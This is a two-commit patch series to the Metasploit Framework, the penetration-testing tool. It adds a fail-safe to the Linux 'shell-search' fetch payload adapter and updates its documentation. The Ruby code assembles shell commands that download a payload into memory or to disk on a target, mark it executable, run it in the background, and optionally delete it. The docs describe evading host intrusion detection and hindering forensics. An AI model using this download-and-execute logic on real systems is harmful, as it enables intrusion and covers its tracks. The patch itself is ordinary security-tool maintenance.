From 23fffaaff2abdf2e3641d0e2e01bf200217a0424 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 7 Jun 2026 18:20:28 +0200 Subject: [PATCH 1/2] Updates documentation for fetch payloads, add fail-safe for shell-search --- .../How-to-use-fetch-payloads.md | 4 +++- lib/msf/core/payload/adapter/fetch.rb | 10 +++++++--- lib/msf/core/payload/adapter/fetch/fileless.rb | 3 ++- 3 files changed, 12 insertions(+), 5 deletions(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index d28dfdbe4aed0..35bdb65b4429a 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -82,7 +82,9 @@ served payload is the same. `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. -This option is only available when the platform is Linux. +This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command +searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find +a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random. diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 9aa557ba261ce..c94bb05465907 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -362,11 +362,15 @@ def _execute_win(get_file_cmd) # @return [String] The command updated for POSIX execution. def _execute_nix(get_file_cmd) return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' + + if datastore['FETCH_FILELESS'] == 'shell-search' + cmds = _generate_fileless_bash_search(get_file_cmd) + cmds << get_file_cmd + else + cmds = get_file_cmd + end - - cmds = get_file_cmd cmds << ";chmod +x #{_remote_destination_nix}" cmds << ";#{_remote_destination_nix}&" cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index d7bb4023a4aba..1bbfdd36db9d0 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -323,12 +323,13 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << "; then if $(#{get_file_cmd} >/dev/null)" cmd << '; then $f' cmd << '; FOUND=1' - cmd << '; break' + cmd << '; exit 1' cmd << '; fi' cmd << '; fi' cmd << '; done' cmd << '; fi' cmd << '; done' + cmd << ';' cmd end From 9e8c7e1a5a5a1be2987b1b2664f33b41fefad46e Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 10 Jun 2026 16:00:52 +0200 Subject: [PATCH 2/2] Updates the fetch payload documentation --- docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index 35bdb65b4429a..793c41035f035 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -84,7 +84,9 @@ memory rather than disk before execution, thus avoiding some HIDS and making for two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find -a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism. +a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds +a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous +file handle, it execute standard fetch command that downloads the adapted payload. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random.